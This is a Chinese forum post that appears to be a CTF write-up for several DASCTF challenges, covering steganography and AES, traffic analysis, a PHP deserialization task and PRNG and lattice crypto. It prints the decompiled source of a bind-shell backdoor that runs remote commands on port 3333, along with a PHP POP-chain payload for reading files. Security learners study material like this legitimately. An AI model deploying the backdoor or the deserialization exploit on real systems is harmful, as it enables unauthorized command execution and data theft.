找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

241

积分

1

好友

23

主题
发表于 7 小时前 | 查看: 1| 回复: 0

在CTF挑战中,遇到一个包含加密数据的flag.txt文件,末尾数据疑似经过AES加密处理。首先搁置该部分,分析其他线索。

通过侧信道分析WAV文件,使用SilentEye工具从JPEG图像中提取密钥JnzJcwoi23nDmx

图片

从WAV文件中进一步提取出一个ELF程序,该程序用于数据加密。

图片

分析ELF程序的asec函数,发现其采用AES128 ECB加密模式,密钥为2e9a4dcb55be306bdb136d86b8e6ee82

图片

加密输出中添加了脏字符串VeHb8c2b4e2HmCvW10,但不影响解密过程,直接移除后得到有效数据:

g5636cbOJ8FpXlO5qa/1kYOet+nGzifBaV5Tuamv9ZGDnrfpxs4nwWleU7mpr/WRg5636cbOJ8FpXlO5qa/1kUzaLBhXbm4r7r9srIIMdfbsTjs7f+2kIuDW5+au/rFPcYtw34Bff64f026xejKkF7KD8IC0WgBhk52vt9vmQ/xDSSJ7VeI6T8Ba+KbPNhoyhaHcpCDGOpDq1+HC1T4ppokYJjI2b/HQpdWsKDGeeFcQt24onV+ISkQwUtuT825p/bH53+TIa1yzKoC6xN8Fut6t4B3u5tm6o0QMp5perUbereAd7ubZuqNEDKeaXq1G3q3gHe7m2bqjRAynml6tRt6t4B3u5tm6o0QMp5perUYB1jBuGn9vQRcH00rETGTrdMqW+8hh92rGq0hFUReN/GrL7X/A6/67tKSUdzajAeNqy+1/wOv/ u7SklHc2owHjasvtf8Dr/ru0pJR3NqMB42rL7X/A6/67tKSUdzajAeNepoUkVYrKVjDwIlKuO+0LE/ri0FprJ3ik39G1jLyEIYOet+nGzifBaV5Tuamv9ZGDnrfpxs4nwWleU7mpr/WRg5636cbOJ8FpXlO5qa/1kYOet+nGzifBaV5Tuamv9ZFFtihjWfZCAFrpDu1dec338PPuLb5UA5a9Du9BSwR4HyFNno/HVXI2x4wpnP6vClkhTZ6Px1VyNseMKZz+rwpZIU2ej8dVcjbHjCmc/q8KWSFNno/HVXI2x4wpnP6vClkgAC0d7J5eqNfOCKq7+YDX7E47O3/tpCLg1ufmrv6xT3rKKrKHBMXANkGoUJ9f7S7TncHJrX0k9ZcN+z4NzyWU24shtRE+/a8NSZIQXoh+RV6kqsNcRjkX2yQXSqWWi4I54uaoU0qU8kWPPl+fOk70

按顺序解密后,数据为Base64编码,通过CyberChef工具处理:

https://code.iloli.moe/cyberchef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'2e9a4dcb55be306b'%7D,%7B'option':'Hex','string':''%7D,'ECB','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZzU2MzZjYk9KOEZwWGxPNXFhLzFrWU9ldCtuR3ppZkJhVjVUdWFtdjlaR0RucmZweHM0bndXbGVVN21wci9XUmc1NjM2Y2JPSjhGcFhsTzVxYS8xa1V6YUxCaFhibTRyN3I5c3JJSU1kZmJzVGpzN2YrMmtJdURXNSthdS9yRlBjWXR3MzRCZmY2NGYwMjZ4ZWpLa0Y3S0Q4SUMwV2dCaGs1MnZ0OXZtUS94RFNTSjdWZUk2VDhCYStLYlBOaG95aGFIY3BDREdPcERxMStIQzFUNHBwb2tZSmpJMmIvSFFwZFdzS0RHZWVGY1F0MjRvblYrSVNrUXdVdHVUODI1cC9iSDUzK1RJYTF5ektvQzZ4TjhGdXQ2dDRCM3U1dG02bzBRTXA1cGVyVWJlcmVBZDd1Ylp1cU5FREtlYVhxMUczcTNnSGU3bTJicWpSQXlubWw2dFJ0NnQ0QjN1NXRtNm8wUU1wNXBlclVZQjFqQnVHbjl2UVJjSDAwckVUR1RyZE1xVys4aGg5MnJHcTBoRlVSZU4vR3JMN1gvQTYvNjd0S1NVZHphakFlTnF5KzEvd092K3U3U2tsSGMyb3dIamFzdnRmOERyL3J1MHBKUjNOcU1CNDJyTDdYL0E2LzY3dEtTVWR6YWpBZU5lcG9Va1ZZcktWakR3SWxLdU8rMExFL3JpMEZwckozaWszOUcxakx5RUlZT2V0K25HemlmQmFWNVR1YW12OVpHRG5yZnB4czRud1dsZVU3bXByL1dSZzU2MzZjYk9KOEZwWGxPNXFhLzFrWU9ldCtuR3ppZkJhVjVUdWFtdjlaRkZ0aWhqV2ZaQ0FGcnBEdTFkZWMzMzhQUHVMYjVVQTVhOUR1OUJTd1I0SHlGTm5vL0hWWEkyeDR3cG5QNnZDbGtoVFo2UHgxVnlOc2VNS1p6K3J3cFpJVTJlajhkVmNqYkhqQ21jL3E4S1dTRk5uby9IVlhJMng0d3BuUDZ2Q2xrZ0FDMGQ3SjVlcU5mT0NLcTcrWURYN0U0N08zL3RwQ0xnMXVmbXJ2NnhUM3JLS3JLSEJNWEFOa0dvVUo5ZjdTN1RuY0hKclgwazlaY04rejROenlXVTI0c2h0UkUrL2E4TlNaSVFYb2grUlY2a3FzTmNSamtYMnlRWFNxV1dpNEk1NHVhb1UwcVU4a1dQUGwrZk9rNzA&oeol=CRLF

图片

最终获取flag:DASCTF{23w89c2n2g-8cr57t6bv92-213vf3vb9-13cyn23vb}

Protocol_decryption

分析流量包,在HTTP流量中发现2.cpython-37.pyc文件,反编译后得到源码:

import socket
import subprocess

CUSTOM_BASE64_CHARS = 'LMNOPQRSTUVWxyzabcdefghijklmnopqrstuvw0123456789+/XYZABCDEFGHIJK'

def custom_base64_encode(data):
    binary_string = ''.join((lambda .0: pass)(data))
    padding = len(binary_string) % 6
    if padding:
        binary_string += '0' * (6 - padding)
    encoded_string = ''
    for i in range(0, len(binary_string), 6):
        chunk = binary_string[i:i + 6]
        index = int(chunk, 2)
        encoded_string += CUSTOM_BASE64_CHARS[index]
    return encoded_string

def custom_base64_decode(encoded_string):
    binary_string = ''
    for char in encoded_string:
        index = CUSTOM_BASE64_CHARS.index(char)
        binary_string += format(index, '06b')
    binary_string = binary_string.rstrip('0')
    decoded_data = bytearray()
    for i in range(0, len(binary_string), 8):
        byte = binary_string[i:i + 8]
        if byte:
            decoded_data.append(int(byte, 2))
    return bytes(decoded_data)

def execute_command(command):
    try:
        result = subprocess.run(command, True, True, True, **('shell', 'capture_output', 'text'))
        return result.stdout + result.stderr
        except Exception:
            e = None
            try:
                return str(e)
                e = None
                del e
            return None

def start_server():
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind(('0.0.0.0', 3333))
    server_socket.listen()
    print('Server is listening...')
    (conn, addr) = server_socket.accept()
    print(f'''Connected by {addr}''')
    while None:
        data = conn.recv(1024)
        if not data:
            break
        decoded_command = custom_base64_decode(data.decode()).decode()
        output = execute_command(decoded_command)
        encoded_output = custom_base64_encode(output.encode())
        conn.sendall(encoded_output.encode())
    conn.close()

if __name__ == '__main__':
    start_server()

编写Python脚本解密流量,提取端口3333的数据:

tshark -r Protocol_decryption.pcap -Y "tcp.port==3333" -T fields -e data.data > out.hex

图片

解密后得到flag:flag{e34f1743c79af05fe922317bd44aaed1}

easyResQ

从URI流量中提取Base64编码数据,移除冗余字符后解码:

ZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyBEQVNDVEZ7NmFlNWM0Mzk4NTlhZDQyMGUyY2UyNmRjYWVlZDZiMjB9ZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUuZmxhZyBpcyB0aGlzLCBmbGFnIGlzIGhlcmUu

图片

解码后获取flag:DASCTF{6ae5c439859ad420e2ce26dcaeed6b20}

Web反序列化

题目源码提示flag在flag.php,构造反序列化Pop链利用网络安全漏洞:

<?php
class FileReader {
    public $filename;
    public $content;
    public function __construct($filename = '') {
        $this->filename = $filename;
        $this->content = '';
    }
    public function read() {
        if (file_exists($this->filename)) {
            $this->content = file_get_contents($this->filename);
            echo $this->content;
            return $this->content;
        }
        return null;
    }
    public function __toString() {
        return $this->content;
    }
}

class DataProcessor {
    public $reader;
    public $data;
    public function __construct($reader = null, $data = null) {
        $this->reader = $reader;
        $this->data = $data;
    }
    public function process() {
        if ($this->reader !== null && method_exists($this->reader, 'read')) {
            return $this->reader->read();
        }
        return null;
    }
    public function __toString() {
        return $this->process();
    }
}

class OutputHandler {
    public $processor;
    public $format;
    public function __construct($processor = null, $format = 'text') {
        $this->processor = $processor;
        $this->format = $format;
    }
    public function render() {
        if ($this->processor === null) {
            return '';
        }
        $output = $this->processor;
        if ($this->format === 'html') {
            return '<pre>' . htmlspecialchars($output) . '</pre>';
        }
        return $output;
    }
    public function __destruct() {
        $this->render();
    }
}

unserialize($_GET['data']);
?>

链式逻辑:OutputHandler->__destruct()render()processor->__toString()process()reader->read()

构造Payload:

$f = new FileReader();
$f->filename = "flag.php";
$p = new DataProcessor();
$p->reader = $f;
$o = new OutputHandler();
$o->processor = $p;
$o->format = "html";
echo urlencode(serialize($o));

执行后获取flag。

Crypto挑战

task.py

题目涉及PRNG状态反推,使用格密码技术解密:

import secrets
from Crypto.Cipher import AES
import hashlib

MASK64 = (1 << 64) - 1

def rotl64(x, n):
    return ((x << n) | (x >> (64 - n))) & MASK64

class rand:
    inv11 = pow(11, -1, 1 << 64)
    inv13 = pow(13, -1, 1 << 64)
    def __init__(self, s: list[int]):
        if len(s) != 4:
            raise ValueError("invalid state")
        self.s = s
    @staticmethod
    def generate():
        return rand([secrets.randbits(64) for _ in range(4)])
    @staticmethod
    def temper(s1: int) -> int:
        return (rotl64((s1 * 13) & MASK64, 9) * 11) & MASK64
    @staticmethod
    def untemper(y: int) -> int:
        x = (y * rand.inv11) & MASK64
        x = rotl64(x, 64 - 9)
        x = (x * rand.inv13) & MASK64
        return x
    def step(self):
        s0, s1, s2, s3 = self.s
        result = s1
        x = (s1 >> 13) & MASK64
        s2 ^= s0
        s3 ^= s1
        s1 ^= s2
        s0 ^= s3
        s2 ^= x
        s3 = rotl64(s3, 23)
        self.s = [s0, s1, s2, s3]
        return result
    def __call__(self):
        return rand.temper(self.step())

gift = [10985600798761172310, 3345325618133513476, 2722881897911525365, 1527608446272288228]
enc_hex = "55614b00a3e68ff9b53787f487ccf3c192af93e0eaf55445fc5cdf9580d6ac64"

# 反推PRNG状态并解密
raw_s1 = [rand.untemper(g) for g in gift]
s2_1 = raw_s1[1] ^ raw_s1[0] ^ (raw_s1[0] >> 13)
s2_2 = raw_s1[2] ^ raw_s1[1] ^ (raw_s1[1] >> 13)
s0_1 = s2_1 ^ raw_s1[2] ^ raw_s1[1]
s0_2 = s2_2 ^ raw_s1[3] ^ raw_s1[2]
s3_1 = s0_2 ^ s0_1 ^ raw_s1[1]
state_1 = [s0_1, raw_s1[1], s2_1, s3_1]
r_cracked = rand(state_1)
next_random_val = r_cracked()
key = hashlib.md5(str(next_random_val).encode("utf-8")).digest()
cipher = AES.new(key=key, mode=AES.MODE_ECB)
flag_enc = bytes.fromhex(enc_hex)
flag = cipher.decrypt(flag_enc)
print(flag.decode("UTF-8"))

输出flag:DASCTF{fuNn9_r@nd_in_l1n3@r!!!!}

Polynomial

使用格密码技术,通过SageMath求解:

poly_list = [
    (64016, 25520316237078313140456986857881928058549076707755112677854946319330896907845743298690704342692885112075237241487454533121683404035254873591420381372527913433606686612177780658339670231000507725652305177416545695796597924630327869665715257232550739705372510242639316861897237478090628420488963160268687040555922117347341183726302892751897265995190767467024728161377876902790488387325164514459540658371026898355154660573737800099718544946593732877817395054256821783508366758524323355235970104799264587945624167991082381171580602643938595149795716153147041311952298782877452338277227206155676226683089743351407384296403182881963550469882),
    # ... 其他多项式数据
]

# 使用SageMath构建格并求解
from sage.all import *

def solve():
    N = 128
    M_eq = 8
    B = 2**63
    K = 2**100
    X_list = [p[0] for p in poly_list]
    Y_list = [p[1] for p in poly_list]
    dim_row = N + 1 + 1
    dim_col = N + 1 + 1 + M_eq
    mat = Matrix(ZZ, dim_row, dim_col)
    for i in range(N + 1):
        mat[i, i] = 1
        for j in range(M_eq):
            mat[i, N + 1 + 1 + j] = K * (X_list[j] ** i)
    const_row_idx = N + 1
    mat[const_row_idx, N + 1] = 1
    for j in range(M_eq):
        sum_x_pow = sum([X_list[j] ** i for i in range(N + 1)])
        target_y = Y_list[j] - B * sum_x_pow
        mat[const_row_idx, N + 1 + 1 + j] = -K * target_y
    L = mat.LLL()
    coeffs = []
    for i in range(L.nrows()):
        row = L[i]
        is_valid_eq = True
        for k in range(M_eq):
            if row[N + 1 + 1 + k] != 0:
                is_valid_eq = False
                break
        if is_valid_eq:
            if row[N + 1] == 1:
                coeffs = [b + B for b in row[:N+1]]
                break
            elif row[N + 1] == -1:
                coeffs = [b + B for b in [-x for x in row[:N+1]]]
                break
    if not coeffs:
        return
    ep = sum([coeff * (0x65537 ** i) for i, coeff in enumerate(coeffs)])
    key = hashlib.md5(str(ep).encode()).digest()[:16]
    cipher = AES.new(key, AES.MODE_CTR, nonce=nonce)
    flag = cipher.decrypt(ct)
    print(flag.decode())

solve()

解密后得到flag:DASCTF{Y0u_r3@11y_Kn0w_what_your_3V@lu@t3_pO1ynOmi@1!}

您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区(YunPan.Plus) ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-1 14:51 , Processed in 0.929357 second(s), 38 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 CloudStack.

快速回复 返回顶部 返回列表